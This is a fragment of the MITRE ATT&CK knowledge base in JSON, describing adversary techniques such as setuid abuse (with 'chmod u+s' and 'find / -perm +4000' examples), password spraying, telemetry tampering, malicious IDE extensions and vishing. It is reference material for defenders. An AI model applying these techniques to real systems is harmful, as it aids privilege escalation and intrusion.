credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
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            "x_mitre_contributors": [
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                "Olaf Hartong, Falcon Force",
                "Michael Forret, Quorum Cyber"
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
            "created": "2019-12-03T12:59:36.749Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/001",
                    "external_id": "T1053.001"
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                {
                    "source_name": "rowland linux at 2019",
                    "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
                    "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
                },
                {
                    "source_name": "GTFObins at",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.",
                    "url": "https://gtfobins.github.io/gtfobins/at/"
                },
                {
                    "source_name": "Kifarunix - Task Scheduling in Linux",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.",
                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/"
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            "name": "At (Linux)",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)",
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            "created": "2025-03-30T22:16:24.078Z",
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                    "url": "https://attack.mitre.org/techniques/T1176/002",
                    "external_id": "T1176.002"
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                {
                    "source_name": "Abramovsky VSCode Security",
                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
                    "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
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                {
                    "source_name": "Lakshmanan Visual Studio Marketplace",
                    "description": "Lakshmanan, R. (2023, January 9). Hackers Can Abuse Visual Studio Marketplace to Target Developers with Malicious Extensions. Retrieved March 30, 2025.",
                    "url": "https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html"
                },
                {
                    "source_name": "Mnemonic misuse visual studio",
                    "description": "Mnemonic. (n.d.). Advisory: Misuse of Visual Studio Code for traffic tunnelling. Retrieved March 30, 2025.",
                    "url": "https://www.mnemonic.io/resources/blog/misuse-of-visual-studio-code-for-traffic-tunnelling/"
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                {
                    "source_name": "ExtensionTotal VSCode Extensions  2025",
                    "description": "Yuval Ronen. (2025, April 4). Mining in Plain Sight: The VS Code Extension Cryptojacking Campaign. Retrieved April 8, 2025.",
                    "url": "https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59"
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            "name": "IDE Extensions",
            "description": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)   \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., [IDE Tunneling](https://attack.mitre.org/techniques/T1219/001)).  \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.(Citation: ExtensionTotal VSCode Extensions  2025)",
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            "created": "2018-01-16T16:13:52.465Z",
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                    "url": "https://attack.mitre.org/techniques/T1179",
                    "external_id": "T1179"
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                {
                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
                },
                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
                },
                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
                    "url": "https://www.exploit-db.com/docs/17802.pdf"
                },
                {
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
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                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
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                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
                },
                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
                },
                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
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                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
                },
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                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
                },
                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
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                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
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            "name": "Hooking",
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                    "source_name": "Botnet Scan",
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                    "source_name": "ReasonLabs",
                    "description": "ReasonLabs. (n.d.). What is Dead code insertion?. Retrieved March 4, 2025.",
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                    "description": "What is Junk Code?. (n.d.). ReasonLabs. Retrieved April 4, 2025.",
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                    "external_id": "T1547.011"
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                {
                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
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                {
                    "source_name": "wardle artofmalware volume1",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.",
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            "name": "Plist Modification",
            "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)",
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            "created": "2020-01-30T13:58:14.373Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548",
                    "external_id": "T1548"
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                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
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                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
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            "name": "Abuse Elevation Control Mechanism",
            "description": "Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)",
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                    "external_id": "T1134.002"
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                {
                    "source_name": "Microsoft RunAs",
                    "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.",
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                    "source_name": "GTFOBins Suid",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
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                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
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                {
                    "source_name": "setuid man page",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
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            "name": "Setuid and Setgid",
            "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
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                    "url": "https://attack.mitre.org/techniques/T1547/004",
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                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                    "source_name": "capec",
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                    "source_name": "Wikipedia BIOS",
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                    "url": "https://en.wikipedia.org/wiki/BIOS"
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                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
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                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
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                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
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                {
                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
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                    "source_name": "McAfee CHIPSEC Blog",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
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                    "source_name": "Github CHIPSEC",
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                    "url": "https://github.com/chipsec/chipsec"
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                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
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                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
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                    "source_name": "Microsoft COM",
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                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
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                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
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                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
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                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
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                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
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                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
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                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
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                    "url": "https://capec.mitre.org/data/definitions/556.html",
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                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
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                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
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                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
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                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
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                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "LOLBAS Regsvr32",
                    "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
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                {
                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
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                {
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
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                {
                    "source_name": "Trimarc Detecting Password Spraying",
                    "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.",
                    "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"
                },
                {
                    "source_name": "Microsoft Storm-0940",
                    "description": "Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/"
                },
                {
                    "source_name": "BlackHillsInfosec Password Spraying",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "url": "http://www.blackhillsinfosec.com/?p=4645"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)  ",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
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            "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
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                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
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            "created": "2020-10-02T14:56:24.866Z",
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                    "url": "https://attack.mitre.org/techniques/T1589/002",
                    "external_id": "T1589.002"
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                {
                    "source_name": "Azure Active Directory Reconnaisance",
                    "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
                    "url": "https://o365blog.com/post/just-looking/"
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                {
                    "source_name": "GitHub Office 365 User Enumeration",
                    "description": "gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.",
                    "url": "https://github.com/gremwell/o365enum"
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                {
                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
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                {
                    "source_name": "HackersArise Email",
                    "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.",
                    "url": "https://www.hackers-arise.com/email-scraping-and-maltego"
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                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
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            "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                    "external_id": "T1164"
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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            "name": "Re-opened Applications",
            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
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            "created": "2017-05-31T21:30:47.384Z",
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                    "source_name": "capec",
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                    "external_id": "CAPEC-571"
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                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
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                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
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                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
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            "name": "Indicator Blocking",
            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
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            "created": "2023-09-07T21:48:39.516Z",
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                    "url": "https://attack.mitre.org/techniques/T1598/004",
                    "external_id": "T1598.004"
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                {
                    "source_name": "Avertium callback phishing",
                    "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
                    "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"
                },
                {
                    "source_name": "BOA Telephone Scams",
                    "description": "Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.",
                    "url": "https://business.bofa.com/en-us/content/what-is-vishing.html"
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            "name": "Spearphishing Voice",
            "description": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1684/001)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.",
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                    "url": "https://attack.mitre.org/techniques/T1683/001",
                    "external_id": "T1683.001"
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                {
                    "source_name": "GenAI Phishing",
                    "description": "Adaptive Team. (2025, August 29). Generative AI Phishing: How to Defend in 2025. Retrieved March 26, 2026.",
                    "url": "https://www.adaptivesecurity.com/blog/ai-phishing"
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                {
                    "source_name": "GTIG AI Threat Tracker",
                    "description": "Google Threat Intelligence Group . (2026, February 12). GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use. Retrieved March 25, 2026.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/distillation-experimentation-integration-ai-adversarial-use"
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            "name": "Written Content",
